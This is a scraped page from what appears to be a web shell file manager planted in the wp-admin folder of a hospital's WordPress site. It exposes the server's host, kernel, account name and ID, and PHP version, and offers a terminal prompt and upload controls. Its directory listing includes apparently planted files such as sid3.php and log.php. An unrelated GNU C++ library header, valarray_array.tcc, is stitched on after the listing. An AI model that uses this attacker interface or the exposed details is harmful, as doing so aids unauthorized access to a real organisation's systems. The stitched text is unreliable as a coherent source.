✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.inwp-admin

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 css--drwxr-xr-x
📁 images--drwxr-xr-x
📁 includes--drwxr-xr-x
📁 js--drwxr-xr-x
📁 maint--drwxr-xr-x
📁 network--drwxr-xr-x
📁 user--drwxr-xr-x
🐘 about.php17.572 KB-rw-r--r--
🐘 admin-ajax.php5.025 KB-rw-r--r--
🐘 admin-footer.php2.738 KB-rw-r--r--
🐘 admin-functions.php0.461 KB-rw-r--r--
🐘 admin-header.php9.066 KB-rw-r--r--
🐘 admin-post.php1.974 KB-rw-r--r--
🐘 admin.php12.632 KB-rw-r--r--
🐘 async-upload.php5.473 KB-rw-r--r--
🐘 authorize-application.php10.093 KB-rw-r--r--
🐘 comment.php11.37 KB-rw-r--r--
🐘 contribute.php5.523 KB-rw-r--r--
🐘 credits.php4.044 KB-rw-r--r--
🐘 custom-background.php0.471 KB-rw-r--r--
🐘 custom-header.php0.48 KB-rw-r--r--
🐘 customize.php11.314 KB-rw-r--r--
🐘 edit-comments.php14.145 KB-rw-r--r--
🐘 edit-form-advanced.php28.79 KB-rw-r--r--
🐘 edit-form-blocks.php15.164 KB-rw-r--r--
🐘 edit-form-comment.php13.652 KB-rw-r--r--
🐘 edit-link-form.php6.198 KB-rw-r--r--
🐘 edit-tag-form.php10.408 KB-rw-r--r--
🐘 edit-tags.php21.982 KB-rw-r--r--
🐘 edit.php19.484 KB-rw-r--r--
🐘 erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
🐘 export-personal-data.php7.754 KB-rw-r--r--
🐘 export.php11.001 KB-rw-r--r--
🐘 font-library.php1.445 KB-rw-r--r--
🐘 freedoms.php4.467 KB-rw-r--r--
🐘 import.php7.584 KB-rw-r--r--
🐘 index.php7.68 KB-rw-r--r--
🐘 install-helper.php6.798 KB-rw-r--r--
🐘 install.php17.944 KB-rw-r--r--
🐘 link-add.php0.912 KB-rw-r--r--
🐘 link-manager.php4.259 KB-rw-r--r--
🐘 link-parse-opml.php2.657 KB-rw-r--r--
🐘 link.php2.888 KB-rw-r--r--
🐘 load-scripts.php2.021 KB-rw-r--r--
🐘 load-styles.php2.925 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🐘 media-new.php3.173 KB-rw-r--r--
🐘 media-upload.php3.582 KB-rw-r--r--
🐘 media.php0.8 KB-rw-r--r--
🐘 menu-header.php9.816 KB-rw-r--r--
🐘 menu.php17.709 KB-rw-r--r--
🐘 moderation.php0.3 KB-rw-r--r--
🐘 ms-admin.php0.191 KB-rw-r--r--
🐘 ms-delete-site.php4.505 KB-rw-r--r--
🐘 ms-edit.php0.211 KB-rw-r--r--
🐘 ms-options.php0.224 KB-rw-r--r--
🐘 ms-sites.php0.21 KB-rw-r--r--
🐘 ms-themes.php0.212 KB-rw-r--r--
🐘 ms-upgrade-network.php0.214 KB-rw-r--r--
🐘 ms-users.php0.21 KB-rw-r--r--
🐘 my-sites.php4.718 KB-rw-r--r--
🐘 nav-menus.php49.022 KB-rw-r--r--
🐘 network.php5.394 KB-rw-r--r--
🐘 options-connectors.php1.507 KB-rw-r--r--
🐘 options-discussion.php16.019 KB-rw-r--r--
🐘 options-general.php22.319 KB-rw-r--r--
🐘 options-head.php0.6 KB-rw-r--r--
🐘 options-media.php6.484 KB-rw-r--r--
🐘 options-permalink.php21.964 KB-rw-r--r--
🐘 options-privacy.php10.453 KB-rw-r--r--
🐘 options-reading.php9.959 KB-rw-r--r--
🐘 options-writing.php9.184 KB-rw-r--r--
🐘 options.php13.932 KB-rw-r--r--
🐘 plugin-editor.php13.741 KB-rw-r--r--
🐘 plugin-install.php7.259 KB-rw-r--r--
🐘 plugins.php30.023 KB-rw-r--r--
🐘 post-new.php2.703 KB-rw-r--r--
🐘 post.php10.567 KB-rw-r--r--
🐘 press-this.php2.412 KB-rw-r--r--
🐘 privacy-policy-guide.php3.668 KB-rw-r--r--
🐘 privacy.php2.453 KB-rw-r--r--
🐘 profile.php0.276 KB-rw-r--r--
🐘 revision.php5.699 KB-rw-r--r--
🐘 setup-config.php17.508 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 site-editor.php12.19 KB-rw-r--r--
🐘 site-health-info.php4.075 KB-rw-r--r--
🐘 site-health.php10.183 KB-rw-r--r--
🐘 term.php2.196 KB-rw-r--r--
🐘 theme-editor.php16.874 KB-rw-r--r--
🐘 theme-install.php23.745 KB-rw-r--r--
🐘 themes.php48.563 KB-rw-r--r--
🐘 tools.php3.432 KB-rw-r--r--
🐘 update-core.php45.119 KB-rw-r--r--
🐘 update.php12.756 KB-rw-r--r--
🐘 upgrade-functions.php0.333 KB-rw-r--r--
🐘 upgrade.php6.24 KB-rw-r--r--
🐘 upload.php14.934 KB-rw-r--r--
🐘 user-edit.php40.863 KB-rw-r--r--
🐘 user-new.php24.086 KB-rw-r--r--
🐘 users.php25.096 KB-rw-r--r--
🐘 widgets-form-blocks.php5.112 KB-rw-r--r--
🐘 widgets-form.php19.129 KB-rw-r--r--
🐘 widgets.php1.086 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
// The template and inlines for the -*- C++ -*- internal _Array helper class. // Copyright (C) 1997-2018 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // . /** @file bits/valarray_array.tcc * This is an internal header file, included by other library headers. * Do not attempt to use it directly. @headername{valarray} */ // Written by Gabriel Dos Reis #ifndef _VALARRAY_ARRAY_TCC #define _VALARRAY_ARRAY_TCC 1 namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION template void __valarray_fill(_Array<_Tp> __a, size_t __n, _Array __m, const _Tp& __t) { _Tp* __p = __a._M_data; bool* __ok (__m._M_data); for (size_t __i=0; __i < __n; ++__i, ++__ok, ++__p) { while (!*__ok) { ++__ok; ++__p; } *__p = __t; } } // Copy n elements of a into consecutive elements of b. When m is // false, the corresponding element of a is skipped. m must contain // at least n true elements. a must contain at least n elements and // enough elements to match up with m through the nth true element // of m. I.e. if n is 10, m has 15 elements with 5 false followed // by 10 true, a must have 15 elements. template void __valarray_copy(_Array<_Tp> __a, _Array __m, _Array<_Tp> __b, size_t __n) { _Tp* __p (__a._M_data); bool* __ok (__m._M_data); for (_Tp* __q = __b._M_data; __q < __b._M_data + __n; ++__q, ++__ok, ++__p) { while (! *__ok) { ++__ok; ++__p; } *__q = *__p; } } // Copy n consecutive elements from a into elements of b. Elements // of b are skipped if the corresponding element of m is false. m // must contain at least n true elements. b must have at least as // many elements as the index of the nth true element of m. I.e. if // m has 15 elements with 5 false followed by 10 true, b must have // at least 15 elements. template void __valarray_copy(_Array<_Tp> __a, size_t __n, _Array<_Tp> __b, _Array __m) { _Tp* __q (__b._M_data); bool* __ok (__m._M_data); for (_Tp* __p = __a._M_data; __p < __a._M_data+__n; ++__p, ++__ok, ++__q) { while (! *__ok) { ++__ok; ++__q; } *__q = *__p; } } // Copy n elements from a into elements of b. Elements of a are // skipped if the corresponding element of m is false. Elements of // b are skipped if the corresponding element of k is false. m and // k must contain at least n true elements. a and b must have at // least as many elements as the index of the nth true element of m. template void __valarray_copy(_Array<_Tp> __a, _Array __m, size_t __n, _Array<_Tp> __b, _Array __k) { _Tp* __p (__a._M_data); _Tp* __q (__b._M_data); bool* __srcok (__m._M_data); bool* __dstok (__k._M_data); for (size_t __i = 0; __i < __n; ++__srcok, ++__p, ++__dstok, ++__q, ++__i) { while (! *__srcok) { ++__srcok; ++__p; } while (! *__dstok) { ++__dstok; ++__q; } *__q = *__p; } } // Copy n consecutive elements of e into consecutive elements of a. // I.e. a[i] = e[i]. template void __valarray_copy(const _Expr<_Dom, _Tp>& __e, size_t __n, _Array<_Tp> __a) { _Tp* __p (__a._M_data); for (size_t __i = 0; __i < __n; ++__i, ++__p) *__p = __e[__i]; } // Copy n consecutive elements of e into elements of a using stride // s. I.e., a[0] = e[0], a[s] = e[1], a[2*s] = e[2]. template void __valarray_copy(const _Expr<_Dom, _Tp>& __e, size_t __n, _Array<_Tp> __a, size_t __s) { _Tp* __p (__a._M_data); for (size_t __i = 0; __i < __n; ++__i, __p += __s) *__p = __e[__i]; } // Copy n consecutive elements of e into elements of a indexed by // contents of i. I.e., a[i[0]] = e[0]. template void __valarray_copy(const _Expr<_Dom, _Tp>& __e, size_t __n, _Array<_Tp> __a, _Array __i) { size_t* __j (__i._M_data); for (size_t __k = 0; __k < __n; ++__k, ++__j) __a._M_data[*__j] = __e[__k]; } // Copy n elements of e indexed by contents of f into elements of a // indexed by contents of i. I.e., a[i[0]] = e[f[0]]. template void __valarray_copy(_Array<_Tp> __e, _Array __f, size_t __n, _Array<_Tp> __a, _Array __i) { size_t* __g (__f._M_data); size_t* __j (__i._M_data); for (size_t __k = 0; __k < __n; ++__k, ++__j, ++__g) __a._M_data[*__j] = __e._M_data[*__g]; } // Copy n consecutive elements of e into elements of a. Elements of // a are skipped if the corresponding element of m is false. m must // have at least n true elements and a must have at least as many // elements as the index of the nth true element of m. I.e. if m // has 5 false followed by 10 true elements and n == 10, a must have // at least 15 elements. template void __valarray_copy(const _Expr<_Dom, _Tp>& __e, size_t __n, _Array<_Tp> __a, _Array __m) { bool* __ok (__m._M_data); _Tp* __p (__a._M_data); for (size_t __i = 0; __i < __n; ++__i, ++__ok, ++__p) { while (! *__ok) { ++__ok; ++__p; } *__p = __e[__i]; } } template void __valarray_copy_construct(const _Expr<_Dom, _Tp>& __e, size_t __n, _Array<_Tp> __a) { _Tp* __p (__a._M_data); for (size_t __i = 0; __i < __n; ++__i, ++__p) new (__p) _Tp(__e[__i]); } template void __valarray_copy_construct(_Array<_Tp> __a, _Array __m, _Array<_Tp> __b, size_t __n) { _Tp* __p (__a._M_data); bool* __ok (__m._M_data); for (_Tp* __q = __b._M_data; __q < __b._M_data+__n; ++__q, ++__ok, ++__p) { while (! *__ok) { ++__ok; ++__p; } new (__q) _Tp(*__p); } } _GLIBCXX_END_NAMESPACE_VERSION } // namespace #endif /* _VALARRAY_ARRAY_TCC */